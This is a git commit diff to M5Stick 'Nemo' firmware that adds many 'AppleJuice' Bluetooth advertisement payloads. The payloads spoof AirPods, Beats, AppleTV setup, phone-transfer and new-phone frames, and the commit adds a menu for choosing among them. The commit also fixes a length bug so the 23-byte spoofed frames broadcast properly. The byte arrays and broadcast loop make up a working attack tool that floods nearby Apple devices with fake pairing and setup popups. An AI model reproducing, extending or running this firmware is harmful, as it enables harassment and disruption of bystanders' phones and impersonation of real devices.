Add all the applejuice devices to the menu
There's a logic bug in the original esp32 implementation (std::string ... sizeof(Airpods)) that kept all of the 23-byte bluetooth frames from working properly. I fixed that as well.
This commit is contained in:
parent
fc364a6fb6
commit
5b1b89c172
173
m5stick-nemo.ino
173
m5stick-nemo.ino
|
@ -16,12 +16,37 @@ String timeStamp;
|
|||
// globals for passing bluetooth info between routines
|
||||
// AppleJuice Payload Data
|
||||
uint8_t Airpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AirpodsProGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t PowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t PowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsStudioBuds[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsStudioPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t BeatsStudioBudsPlus[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVNewUser[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVAppleIDSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVWirelessAudioSync[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVHomekitSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVKeyboard[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t AppleTVConnectingToNetwork[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t HomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t SetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t TransferNumber[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t TVColorBalance[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
uint8_t* data;
|
||||
int deviceType = 0;
|
||||
|
||||
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
||||
BLEAdvertising *pAdvertising;
|
||||
|
||||
|
@ -506,21 +531,53 @@ void setup() {
|
|||
|
||||
MENU ajmenu[] = {
|
||||
{ "AirPods", 1},
|
||||
{ "AirPodsGen3", 2},
|
||||
{ "AirPodsProGen2", 3},
|
||||
{ "PowerBeats", 4},
|
||||
{ "Beats X", 5},
|
||||
{ "BeatsStudioPro", 6},
|
||||
{ "back", 7},
|
||||
{ "AirPods Pro", 2},
|
||||
{ "AirPods Max", 3},
|
||||
{ "AirPods G2", 4},
|
||||
{ "AirPods G3", 5},
|
||||
{ "AirPods Pro G2", 6},
|
||||
{ "PowerBeats", 7},
|
||||
{ "PowerBeats Pro", 8},
|
||||
{ "Beats Solo Pro", 9},
|
||||
{ "Beats Studio Buds", 10},
|
||||
{ "Beats Flex", 11},
|
||||
{ "Beats X", 12},
|
||||
{ "Beats Solo 3", 13},
|
||||
{ "Beats Studio 3", 14},
|
||||
{ "Beats Studio Pro", 15},
|
||||
{ "Beats Fit Pro", 16},
|
||||
{ "Beats Studio Buds+", 17},
|
||||
{ "AppleTV Setup", 18},
|
||||
{ "AppleTV Pair", 19},
|
||||
{ "AppleTV New User", 20},
|
||||
{ "AppleTV AppleID", 21},
|
||||
{ "AppleTV Audio", 22},
|
||||
{ "AppleTV HomeKit", 23},
|
||||
{ "AppleTV Keyboard", 24},
|
||||
{ "AppleTV Network", 25},
|
||||
{ "TV Color Balance", 26},
|
||||
{ "Transfer Number", 27},
|
||||
{ "Setup New Phone", 28},
|
||||
{ "back", 29},
|
||||
};
|
||||
|
||||
void aj_drawmenu() {
|
||||
M5.Lcd.setRotation(rotation);
|
||||
M5.Lcd.setTextSize(2);
|
||||
M5.Lcd.fillScreen(BLACK);
|
||||
M5.Lcd.setCursor(0, 8, 1);
|
||||
for ( int i = 0 ; i < ( sizeof(ajmenu) / sizeof(MENU) ) ; i++ ) {
|
||||
M5.Lcd.print((cursor == i) ? ">" : " ");
|
||||
M5.Lcd.println(ajmenu[i].name);
|
||||
M5.Lcd.setCursor(0, 5, 1);
|
||||
// scrolling menu
|
||||
if (cursor > 5) {
|
||||
for ( int i = 0 + (cursor - 5) ; i < ( sizeof(ajmenu) / sizeof(MENU) ) ; i++ ) {
|
||||
M5.Lcd.print((cursor == i) ? ">" : " ");
|
||||
M5.Lcd.println(ajmenu[i].name);
|
||||
}
|
||||
} else {
|
||||
for (
|
||||
int i = 0 ; i < ( sizeof(ajmenu) / sizeof(MENU) ) ; i++ ) {
|
||||
M5.Lcd.print((cursor == i) ? ">" : " ");
|
||||
M5.Lcd.println(ajmenu[i].name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -544,7 +601,7 @@ void aj_loop(){
|
|||
delay(250);
|
||||
}
|
||||
if (digitalRead(M5_BUTTON_HOME) == LOW) {
|
||||
int deviceType = ajmenu[cursor].command;
|
||||
deviceType = ajmenu[cursor].command;
|
||||
// Also borrowed heavily from ronaldstoner / ECTO-1A esp32 AppleJuice
|
||||
//uint8_t* data;
|
||||
switch(deviceType) {
|
||||
|
@ -552,21 +609,87 @@ void aj_loop(){
|
|||
data = Airpods;
|
||||
break;
|
||||
case 2:
|
||||
data = AirpodsGen3;
|
||||
data = AirpodsPro;
|
||||
break;
|
||||
case 3:
|
||||
data = AirpodsProGen2;
|
||||
data = AirpodsMax;
|
||||
break;
|
||||
case 4:
|
||||
data = PowerBeats;
|
||||
data = AirpodsGen2;
|
||||
break;
|
||||
case 5:
|
||||
data = BeatsX;
|
||||
data = AirpodsGen3;
|
||||
break;
|
||||
case 6:
|
||||
data = BeatsStudioPro;
|
||||
data = AirpodsProGen2;
|
||||
break;
|
||||
case 7:
|
||||
data = PowerBeats;
|
||||
break;
|
||||
case 8:
|
||||
data = PowerBeatsPro;
|
||||
break;
|
||||
case 9:
|
||||
data = BeatsSoloPro;
|
||||
break;
|
||||
case 10:
|
||||
data = BeatsStudioBuds;
|
||||
break;
|
||||
case 11:
|
||||
data = BeatsFlex;
|
||||
break;
|
||||
case 12:
|
||||
data = BeatsX;
|
||||
break;
|
||||
case 13:
|
||||
data = BeatsSolo3;
|
||||
break;
|
||||
case 14:
|
||||
data = BeatsStudio3;
|
||||
break;
|
||||
case 15:
|
||||
data = BeatsStudioPro;
|
||||
break;
|
||||
case 16:
|
||||
data = BeatsFitPro;
|
||||
break;
|
||||
case 17:
|
||||
data = BeatsStudioBudsPlus;
|
||||
break;
|
||||
case 18:
|
||||
data = AppleTVSetup;
|
||||
break;
|
||||
case 19:
|
||||
data = AppleTVPair;
|
||||
break;
|
||||
case 20:
|
||||
data = AppleTVNewUser;
|
||||
break;
|
||||
case 21:
|
||||
data = AppleTVAppleIDSetup;
|
||||
break;
|
||||
case 22:
|
||||
data = AppleTVWirelessAudioSync;
|
||||
break;
|
||||
case 23:
|
||||
data = AppleTVHomekitSetup;
|
||||
break;
|
||||
case 24:
|
||||
data = AppleTVKeyboard;
|
||||
break;
|
||||
case 25:
|
||||
data = AppleTVConnectingToNetwork;
|
||||
break;
|
||||
case 26:
|
||||
data = TVColorBalance;
|
||||
break;
|
||||
case 27:
|
||||
data = TransferNumber;
|
||||
break;
|
||||
case 28:
|
||||
data = SetupNewPhone;
|
||||
break;
|
||||
case 29:
|
||||
rstOverride = false;
|
||||
isSwitching = true;
|
||||
current_proc = 1;
|
||||
|
@ -584,18 +707,6 @@ void aj_loop(){
|
|||
M5.Lcd.print("\n\nHold Side Key: Exit");
|
||||
isSwitching = true;
|
||||
current_proc = 9; // Jump over to the AppleJuice BLE beacon loop
|
||||
// while(true) {
|
||||
// // of the background stuff easier (menu button, dimmer, etc)
|
||||
// BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
||||
// oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
|
||||
// pAdvertising->setAdvertisementData(oAdvertisementData);
|
||||
// pAdvertising->start();
|
||||
// digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
|
||||
// delay(50);
|
||||
// digitalWrite(M5_LED, HIGH); //LED OFF on Stick C Plus
|
||||
// delay(950); // 1 second between beacons when combined with LED On delay above for brightness
|
||||
// pAdvertising->stop();
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -609,7 +720,11 @@ void aj_adv(){
|
|||
// Isolating this to its own process lets us take advantage
|
||||
// of the background stuff easier (menu button, dimmer, etc)
|
||||
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
||||
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
|
||||
if (deviceType >= 18){
|
||||
oAdvertisementData.addData(std::string((char*)data, sizeof(AppleTVPair)));
|
||||
} else {
|
||||
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
|
||||
}
|
||||
pAdvertising->setAdvertisementData(oAdvertisementData);
|
||||
pAdvertising->start();
|
||||
digitalWrite(M5_LED, LOW); //LED ON on Stick C Plus
|
||||
|
|
Loading…
Reference in New Issue